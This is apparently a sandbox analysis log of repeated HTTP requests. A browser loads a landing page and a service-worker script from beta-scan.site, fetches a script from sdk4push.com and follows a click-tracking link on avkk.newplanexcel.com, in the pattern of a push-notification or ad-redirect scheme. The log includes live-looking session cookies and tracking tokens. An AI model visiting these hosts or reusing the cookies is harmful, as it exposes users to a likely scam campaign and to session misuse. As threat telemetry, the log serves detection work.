Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; AWSALBCORS=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNc6:e2ZQ1r1LlbQLRglJX0yqgioOqno"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"\054 \"a5a63ccc-38f1-4a59-9390-8415f82a759d\"]:1swNc6:kPgqv5QU9f3qV7GYTCsF86wn_Rk"
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
